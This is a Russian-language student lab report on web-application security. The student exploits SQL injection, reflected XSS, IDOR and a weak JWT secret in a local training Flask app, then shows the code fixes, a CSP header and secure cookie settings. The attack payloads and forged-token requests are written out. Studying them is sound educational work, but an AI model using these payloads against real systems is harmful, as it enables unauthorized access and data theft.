Министерство образования Республики Беларусь

Учреждение образования

«Брестский Государственный технический университет»

Кафедра ИИТ

Лабораторная работа №1

По дисциплине «Современные методы защиты компьютерных систем»

Тема: «Исследование уязвимостей веб-приложений и программных интерфейсов, настройка механизмов аутентификации»

Выполнил:

Студент 4 курса

Группы ИИ-25

Кулик Я. А.

Проверила:

Хацкевич А.С.

Брест 2026

Цель: практическое освоение методов выявления эксплуатации уязвимостей прикладного уровня (SQli, XSS, BOLA), алгоритмов компрометации JWT-токенов, а также проектирование механизмов защиты (CSP, Secure Cookies) в соответствии со стандартом OWASP.

Ход работы

Вариант 7:

Вариант	Условие SQLi (Payload type)	Вектор XSS (Обязательный тег)	BOLA: ID жертвы	JWT: Целевая роль (role)	Защита: Директива CSP
7	Tautology ('=')	<script>	ID = 8	superuser	script-src

Задание 1

Обход аутентификации через SQL-инъекцию и ее устранение

Индивидуальное условие: выполнить эксплуатацию уязвимости SQL Injection с использованием Tautology ('=') для обхода аутентификации и получения доступа.

```
curl.exe -X POST http://127.0.0.1:5000/login -d "username=x&password=' OR 1=1"
```

```
PS D:\python\M> curl.exe -X POST http://127.0.0.1:5000/login -d "username=x&password=' OR '1'='1"
Login success. Role: admin
```

Исправленный код:

```
query = "SELECT id, username, role FROM users WHERE username=? AND password=?"
    try:
        c.execute(query, (username, password))
```

```
PS D:\python\M> curl.exe -X POST http://127.0.0.1:5000/login -d "username=x&password=' OR '1'='1"
Invalid credentials
```

Задание 2

Эксплуатация межсайтового скриптинга (XSS)

Индивидуальное условие: использование HTML-тега <script> для формирования XSS-payload.

```
curl.exe "http://127.0.0.1:5000/search?q=%3Cscript%Ealert(1)%3C%2Fscript%3E"
```

```
PS D:\python\M> curl.exe "http://127.0.0.1:5000/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E"
<h1>Результаты поиска для: <script>alert(1)</script></h1><p>Ничего не найдено.</p>
```

Исправленный код:

```
@app.after_request
def add_security_headers(response):
    response.headers['Content-Security-Policy'] = "script-src 'self'"
    return response
```

```
Executing inline script violates the following Content Security Policy directive 'script-src 'self' http://me.kis.v2.scr.kaspersky-labs.com ws://me.kis.v2.scr.kaspersky-labs.com'. Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution. The action has been blocked.
search?q=%3Cscript%3…t(1)%3C/script%3E:1

Failed to load resource: the server responded with a status of 404 (NOT FOUND)
:5000/favicon.ico:1
```

Задание 3

Нарушение разграничения доступа на уровне объектов (BOLA/IDOR)

Индивидуальное условие: ID=8

```
curl.exe http://127.0.0.1:5000/api/profile/8
```

```
PS D:\python\M> curl.exe http://127.0.0.1:5000/api/profile/8
{"private_data":"FLAG{secret_data_8}","username":"student8"}
```

Исправленный код:

```
@app.route('/api/profile/<int:user_id>', methods=['GET'])
def get_profile(user_id):
    token = request.cookies.get('auth_token')
    if not token:
        return jsonify({"error": "Unauthorized"}), 401
    decoded = jwt.decode(token, JWT_SECRET, algorithms=['HS256'])
    current_user_id = decoded.get('user_id')
    if current_user_id != user_id:
        return jsonify({"error": "Access denied"}), 403
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    c.execute("SELECT username, private_data FROM users WHERE id=?", (user_id,))
    user = c.fetchone()
    conn.close()
    if user:
        return jsonify({"username": user[0], "private_data": user[1]})
return jsonify({"error": "User not found"}), 404
```

```
PS D:\python\M> curl.exe http://127.0.0.1:5000/api/profile/8
{"error":"Unauthorized"}
```

Задание 4

Подделка и атака на JWT-токен

```
curl.exe -X POST http://127.0.0.1:5000/login -d
"username=admin&password=SuperSecretAdmin123!" -c cookies.txt
```

```
PS D:\python\M> python crack.py
FOUND SECRET: student2026 {'user_id': 1, 'username': 'admin', 'role': 'admin', 'exp': 1792493167}
```

```
PS D:\python\M> curl.exe http://127.0.0.1:5000/admin --cookie "auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI
6ImFkbWluIiwicm9sZSI6InN1cGVydXNlciIsImV4cCI6MTc5MjQ5MzYyN30.esfLsxwALB6uPXJFf5iczi TXWalmCHN37CPGGjXXfIg"
Access Denied. Current role: superuser
```

```
PS D:\python\M> curl.exe http://127.0.0.1:5000/admin --cookie "auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI
6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzkyNDk0MDExfQ.auEehZtno5PDKWo3iLAIxoTGSh2hrW_ZnApPZ3_XF9E"
<h1>Панель администратора</h1><p>Флаг захвачен: FLAG{JWT_FORGED_SUCCESS}</p>
```

Исправленный код:

```
import secrets
app = Flask(__name__)
JWT_SECRET = secrets.token_hex(32)
```

```
PS D:\python\M> curl.exe http://127.0.0.1:5000/admin --cookie "auth_token=<eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZS
I6ImFkbWluIiwicm9sZSI6InN1cGVydXNlciIsImV4cCI6MTc5MjQ5MzYyN30.esfLsxwALB6uPXJFf5iczi TXWalmCHN37CPGGjXXfIg>"
Invalid token
```

Задание 5

Корректный вызов установки сессионного токена должен выглядеть следующим образом:

resp.set_cookie('auth_token', token, httponly=True, secure=True, samesite='Strict')

HttpOnly — запрещает доступ к cookie через document.cookie из JavaScript, снижая риск кражи токена при XSS.

Secure - cookie передаётся только по HTTPS, что защищает от перехвата при MitM-атаках.

SameSite - ограничивает отправку cookie при кросс-доменных запросах, снижая риск CSRF.

Совместное использование всех трёх атрибутов обеспечивает комплексную защиту сессионного токена от основных векторов его компрометации (XSS, перехват трафика, CSRF).

Индивидуальное условие: script-src.

Content-Security-Policy: script-src 'self'

Директива script-src 'self' ограничивает перечень источников, с которых браузер имеет право загружать и исполнять JavaScript-код, только собственным доменом страницы. При указании script-src без ключевого слова 'unsafe-inline' браузер по умолчанию блокирует выполнение встроенных (inline) скриптов — то есть кода, размещённого непосредственно внутри HTML-тегов <script>, как это было продемонстрировано во внедрённой в задании 2 полезной нагрузке <script>alert(1)</script>.

Таким образом, даже если злоумышленнику удаётся внедрить тег <script> в тело HTTP-ответа (как было показано в задании 2), браузер пользователя откажется его исполнять, поскольку источник скрипта (встроенный в документ, а не загруженный с разрешённого домена) не соответствует политике script-src 'self'. Это подтверждается сообщением в консоли разработчика: «Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘self’”».

Вывод: в данной лабораторной работе я освоила методы выявления и эксплуатации уязвимостей прикладного уровня (SQLi, XSS, BOLA), алгоритмов компрометации JWT-токенов, а также проектирование механизмов защиты (CSP, Secure Cookies) в соответствии со стандартами OWASP.